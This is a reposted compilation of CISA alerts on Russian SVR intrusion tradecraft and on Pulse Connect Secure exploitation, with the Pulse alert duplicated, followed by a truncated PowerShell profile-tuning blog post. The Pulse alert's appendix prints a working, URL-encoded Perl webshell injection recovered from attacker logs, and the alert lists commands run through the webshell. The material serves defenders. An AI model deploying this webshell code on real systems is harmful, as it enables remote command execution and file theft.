AA21-116A: Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders

This post was originally published on this site

Original release date: April 26, 2021

Summary

The Federal Bureau of Investigation (FBI), Department of Homeland Security (DHS), and Cybersecurity and Infrastructure Security Agency (CISA) assess Russian Foreign Intelligence Service (SVR) cyber actors—also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and Yttrium—will continue to seek intelligence from U.S. and foreign entities through cyber exploitation, using a range of initial exploitation techniques that vary in sophistication, coupled with stealthy intrusion tradecraft within compromised networks. The SVR primarily targets government networks, think tank and policy analysis organizations, and information technology companies. On April 15, 2021, the White House released a statement on the recent SolarWinds compromise, attributing the activity to the SVR. For additional detailed information on identified vulnerabilities and mitigations, see the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and FBI Cybersecurity Advisory titled “Russian SVR Targets U.S. and Allied Networks,” released on April 15, 2021.

The FBI and DHS are providing information on the SVR’s cyber tools, targets, techniques, and capabilities to aid organizations in conducting their own investigations and securing their networks.

Click here for a PDF version of this report.

Threat Overview

SVR cyber operations have posed a longstanding threat to the United States. Prior to 2018, several private cyber security companies published reports about APT 29 operations to obtain access to victim networks and steal information, highlighting the use of customized tools to maximize stealth inside victim networks and APT 29 actors’ ability to move within victim environments undetected.

Beginning in 2018, the FBI observed the SVR shift from using malware on victim networks to targeting cloud resources, particularly e-mail, to obtain information. The exploitation of Microsoft Office 365 environments following network access gained through use of modified SolarWinds software reflects this continuing trend. Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations.

Technical Details

SVR Cyber Operations Tactics, Techniques, and Procedures

Password Spraying

In one 2018 compromise of a large network, SVR cyber actors used password spraying to identify a weak password associated with an administrative account. The actors conducted the password spraying activity in a “low and slow” manner, attempting a small number of passwords at infrequent intervals, possibly to avoid detection. The password spraying used a large number of IP addresses all located in the same country as the victim, including those associated with residential, commercial, mobile, and The Onion Router (TOR) addresses.

The organization unintentionally exempted the compromised administrator’s account from multi-factor authentication requirements. With access to the administrative account, the actors modified permissions of specific e-mail accounts on the network, allowing any authenticated network user to read those accounts.

The actors also used the misconfiguration for compromised non-administrative accounts. That misconfiguration enabled logins using legacy single-factor authentication on devices which did not support multi-factor authentication. The FBI suspects this was achieved by spoofing user agent strings to appear to be older versions of mail clients, including Apple’s mail client and old versions of Microsoft Outlook. After logging in as a non-administrative user, the actors used the permission changes applied by the compromised administrative user to access specific mailboxes of interest within the victim organization.

While the password sprays were conducted from many different IP addresses, once the actors obtained access to an account, that compromised account was generally only accessed from a single IP address corresponding to a leased virtual private server (VPS). The FBI observed minimal overlap between the VPSs used for different compromised accounts, and each leased server used to conduct follow-on actions was in the same country as the victim organization.

During the period of their access, the actors consistently logged into the administrative account to modify account permissions, including removing their access to accounts presumed to no longer be of interest, or adding permissions to additional accounts. 

Recommendations

To defend from this technique, the FBI and DHS recommend network operators to follow best practices for configuring access to cloud computing environments, including:

  • Mandatory use of an approved multi-factor authentication solution for all users from both on premises and remote locations.
  • Prohibit remote access to administrative functions and resources from IP addresses and systems not owned by the organization.
  • Regular audits of mailbox settings, account permissions, and mail forwarding rules for evidence of unauthorized changes.
  • Where possible, enforce the use of strong passwords and prevent the use of easily guessed or commonly used passwords through technical means, especially for administrative accounts.
  • Regularly review the organization’s password management program.
  • Ensure the organization’s information technology (IT) support team has well-documented standard operating procedures for password resets of user account lockouts.
  • Maintain a regular cadence of security awareness training for all company employees.

Leveraging Zero-Day Vulnerability

In a separate incident, SVR actors used CVE-2019-19781, a zero-day exploit at the time, against a virtual private network (VPN) appliance to obtain network access. Following exploitation of the device in a way that exposed user credentials, the actors identified and authenticated to systems on the network using the exposed credentials.

The actors worked to establish a foothold on several different systems that were not configured to require multi-factor authentication and attempted to access web-based resources in specific areas of the network in line with information of interest to a foreign intelligence service.

Following initial discovery, the victim attempted to evict the actors. However, the victim had not identified the initial point of access, and the actors used the same VPN appliance vulnerability to regain access. Eventually, the initial access point was identified, removed from the network, and the actors were evicted. As in the previous case, the actors used dedicated VPSs located in the same country as the victim, probably to make it appear that the network traffic was not anomalous with normal activity.

Recommendations

To defend from this technique, the FBI and DHS recommend network defenders ensure endpoint monitoring solutions are configured to identify evidence of lateral movement within the network and:

  • Monitor the network for evidence of encoded PowerShell commands and execution of network scanning tools, such as NMAP.
  • Ensure host based anti-virus/endpoint monitoring solutions are enabled and set to alert if monitoring or reporting is disabled, or if communication is lost with a host agent for more than a reasonable amount of time.
  • Require use of multi-factor authentication to access internal systems.
  • Immediately configure newly-added systems to the network, including those used for testing or development work, to follow the organization’s security baseline and incorporate into enterprise monitoring tools.

WELLMESS Malware

In 2020, the governments of the United Kingdom, Canada, and the United States attributed intrusions perpetrated using malware known as WELLMESS to APT 29. WELLMESS was written in the Go programming language, and the previously-identified activity appeared to focus on targeting COVID-19 vaccine development. The FBI’s investigation revealed that following initial compromise of a network—normally through an unpatched, publicly-known vulnerability—the actors deployed WELLMESS. Once on the network, the actors targeted each organization’s vaccine research repository and Active Directory servers. These intrusions, which mostly relied on targeting on-premises network resources, were a departure from historic tradecraft, and likely indicate new ways the actors are evolving in the virtual environment. More information about the specifics of the malware used in this intrusion have been previously released and are referenced in the ‘Resources’ section of this document.

Tradecraft Similarities of SolarWinds-enabled Intrusions

During the spring and summer of 2020, using modified SolarWinds network monitoring software as an initial intrusion vector, SVR cyber operators began to expand their access to numerous networks. The SVR’s modification and use of trusted SolarWinds products as an intrusion vector is also a notable departure from the SVR’s historic tradecraft.

The FBI’s initial findings indicate similar post-infection tradecraft with other SVR-sponsored intrusions, including how the actors purchased and managed infrastructure used in the intrusions. After obtaining access to victim networks, SVR cyber actors moved through the networks to obtain access to e-mail accounts. Targeted accounts at multiple victim organizations included accounts associated with IT staff. The FBI suspects the actors monitored IT staff to collect useful information about the victim networks, determine if victims had detected the intrusions, and evade eviction actions.

Recommendations

Although defending a network from a compromise of trusted software is difficult, some organizations successfully detected and prevented follow-on exploitation activity from the initial malicious SolarWinds software. This was achieved using a variety of monitoring techniques including:

  • Auditing log files to identify attempts to access privileged certificates and creation of fake identify providers.
  • Deploying software to identify suspicious behavior on systems, including the execution of encoded PowerShell.
  • Deploying endpoint protection systems with the ability to monitor for behavioral indicators of compromise.
  • Using available public resources to identify credential abuse within cloud environments.
  • Configuring authentication mechanisms to confirm certain user activities on systems, including registering new devices.

While few victim organizations were able to identify the initial access vector as SolarWinds software, some were able to correlate different alerts to identify unauthorized activity. The FBI and DHS believe those indicators, coupled with stronger network segmentation (particularly “zero trust” architectures or limited trust between identity providers) and log correlation, can enable network defenders to identify suspicious activity requiring additional investigation.

General Tradecraft Observations

SVR cyber operators are capable adversaries. In addition to the techniques described above, FBI investigations have revealed infrastructure used in the intrusions is frequently obtained using false identities and cryptocurrencies. VPS infrastructure is often procured from a network of VPS resellers. These false identities are usually supported by low reputation infrastructure including temporary e-mail accounts and temporary voice over internet protocol (VoIP) telephone numbers. While not exclusively used by SVR cyber actors, a number of SVR cyber personas use e-mail services hosted on cock[.]li or related domains.

The FBI also notes SVR cyber operators have used open source or commercially available tools continuously, including Mimikatz—an open source credential-dumping too—and Cobalt Strike—a commercially available exploitation tool.

Mitigations

The FBI and DHS recommend service providers strengthen their user validation and verification systems to prohibit misuse of their services.

Resources

Revisions

  • April 26, 2021: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

AA21-110A: Exploitation of Pulse Connect Secure Vulnerabilities

This post was originally published on this site

Original release date: April 20, 2021

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises affecting U.S. government agencies, critical infrastructure entities, and other private sector organizations by a cyber threat actor—or actors—beginning in June 2020 or earlier related to vulnerabilities in certain Ivanti Pulse Connect Secure products. Since March 31, 2021, CISA assisted multiple entities whose vulnerable Pulse Connect Secure products have been exploited by a cyber threat actor. These entities confirmed the malicious activity after running the Ivanti Integrity Checker Tool. To gain initial access, the threat actor is leveraging multiple vulnerabilities, including CVE-2019-11510, CVE-2020-8260, CVE-2020-8243, and the newly disclosed CVE-2021-22893. The threat actor is using this access to place webshells on the Pulse Connect Secure appliance for further access and persistence. The known webshells allow for a variety of functions, including authentication bypass, multi-factor authentication bypass, password logging, and persistence through patching.

Ivanti has provided a mitigation and is developing a patch. CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to immediately run the Ivanti Integrity Checker Tool, update to the latest software version, and investigate for malicious activity.

Technical Details

On March 31, 2021, Ivanti released an Integrity Checker Tool to detect the integrity of Pulse Connect Secure appliances. Their technical bulletin states:

We are aware of reports that a limited number of customers have identified unusual activity on their Pulse Connect Secure (PCS) appliances. The investigation to date shows ongoing attempts to exploit vulnerabilities outlined in two security advisories that were patched in 2019 and 2020 to address previously known issues: Security Advisory SA44101 (CVE-2019-11510) and Security Advisory SA44601 (CVE- 2020- 8260). For more information visit KB44764 (Customer FAQ).

The suspected cyber threat actor modified several legitimate Pulse Secure files on the impacted Pulse Connect Secure appliances. The modifications implemented a variety of webshell functionality:

  • DSUpgrade.pm MD5: 4d5b410e1756072a701dfd3722951907
    • Runs arbitrary commands passed to it
    • Copies malicious code into Licenseserverproto.cgi
  • Licenseserverproto.cgi MD5: 9b526db005ee8075912ca6572d69a5d6
    • Copies malicious logic to the new files during the patching process, allowing for persistence
  • Secid_canceltoken.cgi MD5: f2beca612db26d771fe6ed7a87f48a5a
    • Runs arbitrary commands passed via HTTP requests
  • compcheckresult.cgi MD5: ca0175d86049fa7c796ea06b413857a3
    • Publicly-facing page to send arbitrary commands with ID argument
  • Login.cgi MD5: 56e2a1566c7989612320f4ef1669e7d5
    • Allows for credential harvesting of authenticated users
  • Healthcheck.cgi MD5: 8c291ad2d50f3845788bc11b2f603b4a
    • Runs arbitrary commands passed via HTTP requests

Other files were found with additional functionality:

  • libdsplibs.so MD5: 416488b6c8a9bdb9c0cb592e36f44677
    • Trojanized shared object to bypass multi-factor authentication via a hard-coded backdoor key.

Many of the threat actor’s early actions are logged in the Unauthenticated Requests Log as seen in the following format, URIs have been redacted to minimize access to webshells that may still be active:

Unauthenticated request url /dana-na/[redacted URI]?id=cat%20/home/webserver/htdocs/dana-na/[redacted URI] came from IP XX.XX.XX.XX.

The threat actor then ran the commands listed in table 1 via the webshell.

Table 1: Commands run via webshell

Time Command
2021-01-19T07:46:05.000+0000 pwd
2021-01-19T07:46:24.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T08:10:13.000+0000 cat%20/home/webserver/htdocs/dana-na/l[redacted]
2021-01-19T08:14:18.000+0000 See Appendix.
2021-01-19T08:15:11.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T08:15:49.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T09:03:05.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T09:04:47.000+0000 $mount
2021-01-19T09:05:13.000+0000 /bin/mount%20-o%20remount,rw%20/dev/root%20/
2021-01-19T09:07:10.000+0000 $mount

 

The cyber threat actor is using exploited devices located on residential IP space—including publicly facing Network Attached Storage (NAS) devices and small home business routers from multiple vendors—to proxy their connection to interact with the webshells they placed on these devices. These devices, which the threat actor is using to proxy the connection, correlate with the country of the victim and allow the actor activity to blend in with normal telework user activity.

Details about lateral movement and post-exploitation are still unknown at this time. CISA will update this alert as this information becomes available.

Mitigations

CISA strongly urges organizations using Pulse Secure devices to immediately:

If the Integrity Checker Tools finds mismatched or unauthorized files, CISA urges organizations to:

  • Contact CISA to report your findings (see Contact Information section below).
  • Contact Ivanti Pulse Secure for assistance in capturing forensic information.
  • Review “Unauthenticated Web Requests” log for evidence of exploitation, if enabled.
  • Change all passwords associated with accounts passing through the Pulse Secure environment (including user accounts, service accounts, administrative accounts and any accounts that could be modified by any account described above, all of these accounts should be assumed to be compromised). Note: Unless an exhaustive password reset occurs, factory resetting a Pulse Connect Secure appliance (see Step 3 below) will only remove malicious code from the device, and may not remove the threat actor from the environment. The threat actor may use the credentials harvested to regain access even after the appliance is fully patched.
  • Review logs for any unauthorized authentications originating from the Pulse Connect Secure appliance IP address or the DHCP lease range of the Pulse Connect Secure appliance’s VPN lease pool.
  • Look for unauthorized applications and scheduled tasks in their environment.
  • Ensure no new administrators were created or non-privileged users were added to privileged groups.
  • Remove any remote access programs not approved by the organization.
  • Carefully inspect scheduled tasks for scripts or executables that may allow a threat actor to connect to an environment.

In addition to the recommendations above, organizations that find evidence of malicious, suspicious, or anomalous activity or files, should consider the guidance in KB44764 – Customer FAQ: PCS Security Integrity Tool Enhancements, which includes:

After preservation, you can remediate your Pulse Connect Secure appliance by: 

  1. Disabling the external-facing interface.  
  2. Saving the system and user config.
  3. Performing a factory reset via the Serial Console. Note: For more information refer to KB22964 (How to reset a PCS device to the factory default setting via the serial console)
  4. Updating the appliance to the newest version.
  5. Re-importing the saved config.   
  6. Re-enabling the external interface. 

CISA recommends performing checks to ensure any infection is remediated, even if the workstation or host has been reimaged. These checks should include running the Ivanti Integrity Checker Tool again after remediation has been taken place.

Contact Information

CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at

  • 1-888-282-0870 (From outside the United States: +1-703-235-8832)
  • central@cisa.dhs.gov (UNCLASS)
  • us-cert@dhs.sgov.gov (SIPRNET)
  • us-cert@dhs.ic.gov (JWICS)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA/US-CERT homepage at http://www.us-cert.cisa.gov/.

Appendix: Large sed Command Found In Unauthenticated Logs

Unauthenticated request url /dana-na/[redacted]?id=sed%20-i%20%22/main();/cuse%20MIME::Base64;use%20Crypt::RC4;my%20[redacted];sub%20r{my%20$n=$_[0];my%20$rs;for%20(my%20$i=0;$i%3C$n;$i++){my%20$n1=int(rand(256));$rs.=chr($n1);}return%20$rs;}sub%20a{my%20$st=$_[0];my%20$k=r([redacted]);my%20$en%20=%20RC4(%20$k.$ph,%20$st);return%20encode_base64($k.$en);}sub%20b{my%20$s=%20decode_base64($_[0]);%20my%20$l=length($s);my%20$k=%20substr($s,0,[redacted]);my%20$en=substr($s,[redacted],$l-[redacted]);my%20$de%20=%20RC4(%20$k.$ph,%20$en%20);return%20$de;}sub%20c{my%20$fi=CGI::param(%27img%27);my%20$FN=b($fi);my%20$fd;print%20%22Content-type:%20application/x-downloadn%22;open(*FILE,%20%22%3C$FN%22%20);while(%3CFILE%3E){$fd=$fd.$_;}close(*FILE);print%20%22Content-Disposition:%20attachment;%20filename=tmpnn%22;print%20a($fd);}sub%20d{print%20%22Cache-Control:%20no-cachen%22;print%20%22Content-type:%20text/htmlnn%22;my%20$fi%20=%20CGI::param(%27cert%27);$fi=b($fi);my%20$pa=CGI::param(%27md5%27);$pa=b($pa);open%20(*outfile,%20%22%3E$pa%22);print%20outfile%20$fi;close%20(*outfile);}sub%20e{print%20%22Cache-Control:%20no-cachen%22;print%20%22Content-type:%20image/gifnn%22;my%20$na=CGI::param(%27name%27);$na=b($na);my%20$rt;if%20(!$na%20or%20$na%20eq%20%22cd%22)%20{$rt=%22Error%20404%22;}else%20{my%20$ot=%22/tmp/1%22;system(%22$na%20%3E/tmp/1%202%3E&1%22);open(*cmd_result,%22%3C$ot%22);while(%3Ccmd_result%3E){$rt=$rt.$_;}close(*cmd_result);unlink%20$ot}%20%20print%20a($rt);}sub%20f{if(CGI::param(%27cert%27)){d();}elsif(CGI::param(%27img%27)%20and%20CGI::param(%27name%27)){c();}elsif(CGI::param(%27name%27)%20and%20CGI::param(%27img%27)%20eq%20%22%22){e();}else{%20%20%20&main();}}if%20($ENV{%27REQUEST_METHOD%27}%20eq%20%22POST%22){%20%20f();}else{&main();%20}%22%20/home/webserver/htdocs/dana-na/[redacted] came from IP XX.XX.XX.XX

References

Revisions

  • Initial version: April 20, 2021

This product is provided subject to this Notification and this Privacy & Use policy.

AA-21-110A: Exploitation of Pulse Connect Secure Vulnerabilities

This post was originally published on this site

Original release date: April 20, 2021

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises affecting U.S. government agencies, critical infrastructure entities, and other private sector organizations by a cyber threat actor—or actors—beginning in June 2020 or earlier related vulnerabilities in certain Ivanti Pulse Connect Secure products. Since March 31, 2021, CISA assisted multiple entities whose vulnerable Pulse Connect Secure products have been exploited by a cyber threat actor. These entities confirmed the malicious activity after running the Ivanti Integrity Checker Tool. To gain initial access, the threat actor is leveraging multiple vulnerabilities, including CVE-2019-11510, CVE-2020-8260, CVE-2020-8243, and the newly disclosed CVE-2021-22893. The threat actor is using this access to place webshells on the Pulse Connect Secure appliance for further access and persistence. The known webshells allow for a variety of functions, including authentication bypass, multi-factor authentication bypass, password logging, and persistence through patching.

Ivanti has provided a mitigation and is developing a patch. CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to immediately run the Ivanti Integrity Checker Tool, update to the latest software version, and investigate for malicious activity.

Technical Details

On March 31, 2021, Ivanti released an Integrity Checker Tool to detect the integrity of Pulse Connect Secure appliances. Their technical bulletin states:

We are aware of reports that a limited number of customers have identified unusual activity on their Pulse Connect Secure (PCS) appliances. The investigation to date shows ongoing attempts to exploit vulnerabilities outlined in two security advisories that were patched in 2019 and 2020 to address previously known issues: Security Advisory SA44101 (CVE-2019-11510) and Security Advisory SA44601 (CVE- 2020- 8260). For more information visit KB44764 (Customer FAQ).

The suspected cyber threat actor modified several legitimate Pulse Secure files on the impacted Pulse Connect Secure appliances. The modifications implemented a variety of webshell functionality:

  • DSUpgrade.pm MD5: 4d5b410e1756072a701dfd3722951907
    • Runs arbitrary commands passed to it
    • Copies malicious code into Licenseserverproto.cgi
  • Licenseserverproto.cgi MD5: 9b526db005ee8075912ca6572d69a5d6
    • Copies malicious logic to the new files during the patching process, allowing for persistence
  • Secid_canceltoken.cgi MD5: f2beca612db26d771fe6ed7a87f48a5a
    • Runs arbitrary commands passed via HTTP requests
  • compcheckresult.cgi MD5: ca0175d86049fa7c796ea06b413857a3
    • Publicly-facing page to send arbitrary commands with ID argument
  • Login.cgi MD5: 56e2a1566c7989612320f4ef1669e7d5
    • Allows for credential harvesting of authenticated users
  • Healthcheck.cgi MD5: 8c291ad2d50f3845788bc11b2f603b4a
    • Runs arbitrary commands passed via HTTP requests

Other files were found with additional functionality:

  • libdsplibs.so MD5: 416488b6c8a9bdb9c0cb592e36f44677
    • Trojanized shared object to bypass multi-factor authentication via a hard-coded backdoor key.

Many of the threat actor’s early actions are logged in the Unauthenticated Requests Log as seen in the following format, URIs have been redacted to minimize access to webshells that may still be active:

Unauthenticated request url /dana-na/[redacted URI]?id=cat%20/home/webserver/htdocs/dana-na/[redacted URI] came from IP XX.XX.XX.XX.

The threat actor then ran the commands listed in table 1 via the webshell.

Table 1: Commands run via webshell

Time Command
2021-01-19T07:46:05.000+0000 pwd
2021-01-19T07:46:24.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T08:10:13.000+0000 cat%20/home/webserver/htdocs/dana-na/l[redacted]
2021-01-19T08:14:18.000+0000 See Appendix.
2021-01-19T08:15:11.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T08:15:49.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T09:03:05.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T09:04:47.000+0000 $mount
2021-01-19T09:05:13.000+0000 /bin/mount%20-o%20remount,rw%20/dev/root%20/
2021-01-19T09:07:10.000+0000 $mount

 

The cyber threat actor is using exploited devices located on residential IP space—including publicly facing Network Attached Storage (NAS) devices and small home business routers from multiple vendors—to proxy their connection to interact with the webshells they placed on these devices. These devices, which the threat actor is using to proxy the connection, correlate with the country of the victim and allow the actor activity to blend in with normal telework user activity.

Details about lateral movement and post-exploitation are still unknown at this time. CISA will update this alert as this information becomes available.

Mitigations

CISA strongly urges organizations using Pulse Secure devices to immediately:

If the Integrity Checker Tools finds mismatched or unauthorized files, CISA urges organizations to:

  • Contact CISA to report your findings (see Contact Information section below).
  • Contact Ivanti Pulse Secure for assistance in capturing forensic information.
  • Review “Unauthenticated Web Requests” log for evidence of exploitation, if enabled.
  • Change all passwords associated with accounts passing through the Pulse Secure environment (including user accounts, service accounts, administrative accounts and any accounts that could be modified by any account described above, all of these accounts should be assumed to be compromised). Note: Unless an exhaustive password reset occurs, factory resetting a Pulse Connect Secure appliance (see Step 3 below) will only remove malicious code from the device, and may not remove the threat actor from the environment. The threat actor may use the credentials harvested to regain access even after the appliance is fully patched.
  • Review logs for any unauthorized authentications originating from the Pulse Connect Secure appliance IP address or the DHCP lease range of the Pulse Connect Secure appliance’s VPN lease pool.
  • Look for unauthorized applications and scheduled tasks in their environment.
  • Ensure no new administrators were created or non-privileged users were added to privileged groups.
  • Remove any remote access programs not approved by the organization.
  • Carefully inspect scheduled tasks for scripts or executables that may allow a threat actor to connect to an environment.

In addition to the recommendations above, organizations that find evidence of malicious, suspicious, or anomalous activity or files, should consider the guidance in KB44764 – Customer FAQ: PCS Security Integrity Tool Enhancements, which includes:

After preservation, you can remediate your Pulse Connect Secure appliance by: 

  1. Disabling the external-facing interface.  
  2. Saving the system and user config.
  3. Performing a factory reset via the Serial Console. Note: For more information refer to KB22964 (How to reset a PCS device to the factory default setting via the serial console)
  4. Updating the appliance to the newest version.
  5. Re-importing the saved config.   
  6. Re-enabling the external interface. 

CISA recommends performing checks to ensure any infection is remediated, even if the workstation or host has been reimaged. These checks should include running the Ivanti Integrity Checker Tool again after remediation has been taken place.

Contact Information

CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at

  • 1-888-282-0870 (From outside the United States: +1-703-235-8832)
  • central@cisa.dhs.gov (UNCLASS)
  • us-cert@dhs.sgov.gov (SIPRNET)
  • us-cert@dhs.ic.gov (JWICS)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA/US-CERT homepage at http://www.us-cert.cisa.gov/.

Appendix: Large sed Command Found In Unauthenticated Logs

Unauthenticated request url /dana-na/[redacted]?id=sed%20-i%20%22/main();/cuse%20MIME::Base64;use%20Crypt::RC4;my%20[redacted];sub%20r{my%20$n=$_[0];my%20$rs;for%20(my%20$i=0;$i%3C$n;$i++){my%20$n1=int(rand(256));$rs.=chr($n1);}return%20$rs;}sub%20a{my%20$st=$_[0];my%20$k=r([redacted]);my%20$en%20=%20RC4(%20$k.$ph,%20$st);return%20encode_base64($k.$en);}sub%20b{my%20$s=%20decode_base64($_[0]);%20my%20$l=length($s);my%20$k=%20substr($s,0,[redacted]);my%20$en=substr($s,[redacted],$l-[redacted]);my%20$de%20=%20RC4(%20$k.$ph,%20$en%20);return%20$de;}sub%20c{my%20$fi=CGI::param(%27img%27);my%20$FN=b($fi);my%20$fd;print%20%22Content-type:%20application/x-downloadn%22;open(*FILE,%20%22%3C$FN%22%20);while(%3CFILE%3E){$fd=$fd.$_;}close(*FILE);print%20%22Content-Disposition:%20attachment;%20filename=tmpnn%22;print%20a($fd);}sub%20d{print%20%22Cache-Control:%20no-cachen%22;print%20%22Content-type:%20text/htmlnn%22;my%20$fi%20=%20CGI::param(%27cert%27);$fi=b($fi);my%20$pa=CGI::param(%27md5%27);$pa=b($pa);open%20(*outfile,%20%22%3E$pa%22);print%20outfile%20$fi;close%20(*outfile);}sub%20e{print%20%22Cache-Control:%20no-cachen%22;print%20%22Content-type:%20image/gifnn%22;my%20$na=CGI::param(%27name%27);$na=b($na);my%20$rt;if%20(!$na%20or%20$na%20eq%20%22cd%22)%20{$rt=%22Error%20404%22;}else%20{my%20$ot=%22/tmp/1%22;system(%22$na%20%3E/tmp/1%202%3E&1%22);open(*cmd_result,%22%3C$ot%22);while(%3Ccmd_result%3E){$rt=$rt.$_;}close(*cmd_result);unlink%20$ot}%20%20print%20a($rt);}sub%20f{if(CGI::param(%27cert%27)){d();}elsif(CGI::param(%27img%27)%20and%20CGI::param(%27name%27)){c();}elsif(CGI::param(%27name%27)%20and%20CGI::param(%27img%27)%20eq%20%22%22){e();}else{%20%20%20&main();}}if%20($ENV{%27REQUEST_METHOD%27}%20eq%20%22POST%22){%20%20f();}else{&main();%20}%22%20/home/webserver/htdocs/dana-na/[redacted] came from IP XX.XX.XX.XX

References

Revisions

  • Initial version: April 20, 2021

This product is provided subject to this Notification and this Privacy & Use policy.

Optimizing your $Profile

This post was originally published on this site

Optimizing your $Profile

Your PowerShell Profile allows you to customize
your PowerShell session and runs at startup.
Complex profiles can cause a significant delay in the startup of PowerShell as it is a script that needs to be executed before the prompt first
shows up.

Spoiler: I’ll show how I got my profile loading time from 1465 ms to 217 ms!

It’s important to note that many of the optmizations I cover here are micro-optimizations.
They won’t have significant overall impact and, in general, may not be the best way to write your scripts.
In the case of a profile, I’m optimizing for speed and, in some cases, making the script slightly harder to read as a tradeoff.
For production scripts used in automation, the micro performance improvement may not be worthwhile as maintainability of the script
may be more important.

Using GitHub to store my profile.ps1

As part of working on PowerShell on GitHub, I have a macBook Pro, a Windows desktop, and also a Linux desktop I use frequently.
I like to keep my PowerShell environment customizations in sync across these devices without having to manually update the profile should I make changes.
The solution I decided upon was to publish my profile as a GitHub Gist.

NOTE: that the current version on GitHub contains all the optimizations covered in this blog post, you can look at the revisions on GitHub
to see how my profile has changed over time.
I would NOT recommend using my profile directly as I may make changes that break you or are not applicable to your daily usage of PowerShell.
Use it more as an example.

The key parts of the code that does this is a ThreadJob that makes a REST call to GitHub
to retrieve the latest version of my profile and compare with the current version.
Creating the ThreadJob does take time, but because I’m making a networking call which can lead to variable execution time, it’s a worthwhile
tradeoff.
Also, because that scriptblock is running as a separate thread from the main startup thread, I don’t have to worry about performance optimizations
of that ThreadJob scriptblock.

My profile contains a # Version x.y.z comment near the top of the script and this version string is used to determine if the one on GitHub
is newer than the one that’s currently running.
A regular expression is used to parse this from the profile.
If the ThreadJob determines there is a newer version, it saves that version string to a file that I can easily check at the start of my profile.
At the start of my profile, I check the current loaded version against this file and will prompt to install the latest version if there is one.
This means that on startup, I won’t know that a newer version exists until the next startup, but it’s a worthwhile tradeoff.

Getting a baseline for pwsh

Before we start making changes, we want to get a baseline so we know what impact, if any, our changes are affecting the startup performance.
I wanted to separate the startup time of pwsh itself from the execution of my profile.
I got an average startup, in milliseconds, for pwsh starting up without loading any profile.

Here I use the Measure-Command cmdlet to make this easy.
However, I do a loop of 100 times to make sure any variance of my computer are accounted for and calculate the average time:

$p = 0
1..100 | ForEach-Object {
    Write-Progress -Id 1 -Activity 'pwsh' -PercentComplete $_
    $p += (Measure-Command {
        pwsh -noprofile -command 1
    }).TotalMilliseconds 
}
Write-Progress -id 1 -Activity 'profile' -Completed
$p = $p/100
$p

I’m using the variable $p to store the result as I want to subtract that time from my profile measurements.
Since running this 100 times can take some time, I like to know how far it’s progressed, so I’m using Write-Progress as a visual indicator of
how many more need to be run.
Since the writing of progress is not in the scriptblock used by Measure-Command, it has no impact on the measured time.
pwsh -noprofile -command 1 will ensure that when PowerShell starts, it doesn’t load my profile, and the command 1 simply has PowerShell
emit the number 1 and exit.

For my baseline, I got a time of 1176 ms for the startup of pwsh.

Getting a baseline for my profile

To get the average start time of my profile, the script is quite similar:

$a = 0
1..100 | ForEach-Object {
    Write-Progress -Id 1 -Activity 'profile' -PercentComplete $_
    $a += (Measure-Command {
        pwsh -command 1
    }).TotalMilliseconds
}
Write-Progress -id 1 -activity 'profile' -Completed
$a/100 - $p

The only major difference here is not using -noprofile so that my profile is loaded and also subtracting the startup time of pwsh $p from the result.
I got a time of 1465 ms for the startup of my profile.

Measure-Script

Mathias Jessen published a great profiling tool for scripts called PSProfiler
that I decided to use against my profile to see which lines were taking the most time.

The module doesn’t require PowerShell 7, but if you use it with PowerShell 7.2, then you get some coloring to help identify the top lines that
are taking the longest execution time:

Measure-Script image

This screenshot shows a few lines I should focus on optimizing first.
At the top, you can see that reading contents of a file was identified as a performance hot spot.

Get-Content

One thing that is not obvious is that when you use the Get-Content cmdlet, it will add some additional note properties to the output identifying
the original source of the content.

For my usage in the profile, I have no need for this metadata.
The cmdlet has a -ReadCount parameter that specifies how to batch lines sent through the pipeline.
However, it also tells the cmdlet not to add the additional source information note properties.
Since I’m not using the pipeline to process the contents, using -ReadCount 0 will help avoid incurring the cost of the cmdlet adding the note properties.

This saved a very tiny amount of milliseconds although a good percentage improvement.
Using Get-Content $profile -Raw was 0.807888 ms, Get-Content $profile -Raw -ReadCount 0 was 0.651742 ms.
Instead of relying on the cmdlet, I could simply call the equivalent .NET API directly.
Since I’m not using the features of the cmdlet and simply getting the contents of the file, I could use [System.IO.File]::ReadAllText($profile) which took 0.185826 ms.

Now this is a much more significant improvement.
Also, these measurements were taken when the Get-Content cmdlet from the Management module was already loaded.
So for profile startup where the module is not loaded, this would be even more significant.

Changing cmdlets to using .NET APIs

Using cmdlets can make writing scripts much easier and potentially easier to read.
However, there is a startup time impact of loading the module (which itself is a series of complex steps), having the cmdlet process the input, and finally wrapping
the result in a PSObject and emitting to the pipeline.
Since my profile was not using any of the advanced capabilities of many cmdlets, I proceeded to change most of my cmdlet usage to .NET APIs.

In the screenshot, you can see that cmdlets like Join-Path and Resolve-Path are another line that is relatively slow and my profile uses these two cmdlets quite often.
Join-Path can be replaced by [System.IO.Path]::Combine().
I was using Resolve-Path ~ as Windows doesn’t understand that the tilde is supposed to point to the user’s home directly.
However, PowerShell already has a $HOME variable for that purpose, so I simply removed the use of Resolve-Path and used $HOME directly instead.

Taking another measurement

